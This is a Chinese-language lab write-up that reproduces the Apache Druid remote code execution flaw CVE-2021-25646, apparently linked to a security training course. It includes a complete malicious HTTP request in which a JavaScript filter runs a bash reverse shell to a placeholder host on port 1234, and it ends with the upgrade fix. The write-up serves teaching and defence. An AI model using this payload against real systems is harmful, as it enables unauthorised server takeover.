簡介
Apache Druid是一個實時分析型資料庫,旨在對大型資料集進行快速的查詢分析("OLAP"查詢)。Druid最常被當做資料庫來用以支援實時攝取、高性能查詢和高穩定運作的應用場景,同時,Druid也通常被用來助力分析型應用的圖形化界面,或者當做需要快速聚合的高并發後端API,Druid最适合應用于面向事件類型的資料。
涉及知識點-網絡安全事件
https://www.hetianlab.com/cour.do?w=1&c=C172.19.104.182015010409302300001&pk_campaign=weixin-wemedia
“網絡安全事件”這門課程是由一些影響比較大的安全事件所模拟的測試環境組成。此課程不僅會添加以往的安全事件,而且還會緊跟時事,去添加最新的安全事件。讓大家在第一時間了解,并懂得怎麼去保護自身安全為目的。
概述
由于Apache Druid 預設情況下缺乏授權認證,攻擊者可直接構造惡意請求執行任意代碼,控制伺服器。
CVE編号
CVE-2021-25646
影響版本
Apache Druid < 0.20.1
環境搭建
這裡使用0.2.0版本進行複現,下載下傳位址:
https://archive.apache.org/dist/druid/0.20.0/apache-druid-0.20.0-bin.tar.gz
下載下傳後執行以下指令解壓并啟動漏洞環境。
tar -xzvf apache-druid-0.20.0-bin.tar.gz
cd apache-druid-0.20.0
./bin/start-micro-quickstart
啟動後服務綁定在8888端口,浏覽器可以正常通路則表示環境啟動成功
漏洞複現
設定代理後選擇load data,抓取到以下包
包内容:
構造payload執行指令,這裡做一個反彈shell的操作
POST /druid/indexer/v1/sampler HTTP/1.1
Host: 192.168.74.148:8888
Content-Length: 1043
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36 Edg/88.0.705.56
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.74.148:8888
Referer: http://192.168.74.148:8888/unified-console.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6
Connection: close
{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2020-12-12T12:10:21.040Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/xxx.xxx.xxx.xx/1234 0>&1')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
漏洞修複
更新Apache Druid至0.20.1及以上版本
參考連結
https://f5.pm/go-57059.html